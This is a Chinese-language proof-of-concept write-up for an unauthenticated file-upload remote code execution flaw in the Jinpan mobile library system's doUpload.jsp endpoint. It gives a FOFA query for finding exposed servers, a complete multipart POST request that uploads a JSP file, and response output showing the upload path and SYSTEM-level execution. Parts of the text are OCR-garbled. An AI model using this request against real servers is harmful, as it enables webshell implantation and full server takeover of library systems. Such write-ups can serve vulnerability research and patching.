# J15-1金盘-移动图书馆系统-RCE

## 漏洞描述:

金盘移动图书馆系统 doUpload.jsp接口处存在文件上传漏洞,未经身份验证的攻击者可以利用此漏洞上传webshell,执行恶意代码指令,导致服务器失陷。

### 影响版本:

• 金盘-移动图书馆系统

#### 网 址 图 止。

<b>网站包力:</b>	
	图书分类
气思主义、列宁主义、毛泽东思想、邓小平理论	
学、宗教	
会科学总论	
台、法律	
§	
齐	
七、科学、教育、体育	
<b>⑤</b> 、文字	
¥ ₹	
*	
<b>と、地理</b>	
松到今中分	
网络测绘:	
fofa语法:	
FOFA: app="金盘软件-金盘移动图书馆系统"	

# 漏洞复现:

## payload:

```
POST /pages/admin/tools/uploadFile/doUpload.jsp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5iALAXISiqxJXrhK
         ---WebKitFormBoundary5iALAXlSiqxJXrhK
Content-Disposition: form-data; name="file"; filename="a.jsp"
<% out.println("Hello, World!"); %>
-----WebKitFormBoundary5iALAXlSiqxJXrhK--
```

### 效果图·

```
〈 〉 数据包扫描 热加载 构造请求 🎎
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Responses 160bytes / 56ms
Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1 HTTP/1.1-200-0K
                            POST /pages/admin/tools/uploadFile/doUpload.jsp HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=986DD651966C902B3E
                             \textbf{User-Agent:} \cdot \texttt{Mozilla/5.0} \cdot (\texttt{Macintosh;} \cdot \texttt{Intel} \cdot \texttt{Mac \cdot OS \cdot X \cdot 10.15;} \cdot \texttt{rv:} 121.0) \cdot \texttt{Gecko/20100101} \cdot \texttt{Firefox/} 121.00 \cdot \texttt{Gecko/2010010101} \cdot \texttt{Firefox/} 121.00 \cdot \texttt{Gecko/20100101} \cdot \texttt{Firefox/} 121.00 \cdot \texttt{Gecko/20
                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     Content-Type: text/html; charset=utf-8
                             Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     Date: Thu, 25 Jan 2024 11:00:45 GMT
                            Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 160
                             Connection: close
                         Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5iALAX1SiqxJXrhK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    {"ids":[0],"statuses":[0],"filePaths": "/
"fileNames":["1706180445116.jsp"],"fileS1
                             -----WebKitFormBoundarv5iALAX1SigxJXrhK
     10
                        Content-Disposition: form-data; name="file";filename="a.jsp"
     12
                          <% out.println("Hello, World!"); %>
     13
                       -----WebKitFormBoundary5iALAX1SiqxJXrhK--
```

## 回显了完整路径



Hello, World!

RCE

nt authority\system
authority\system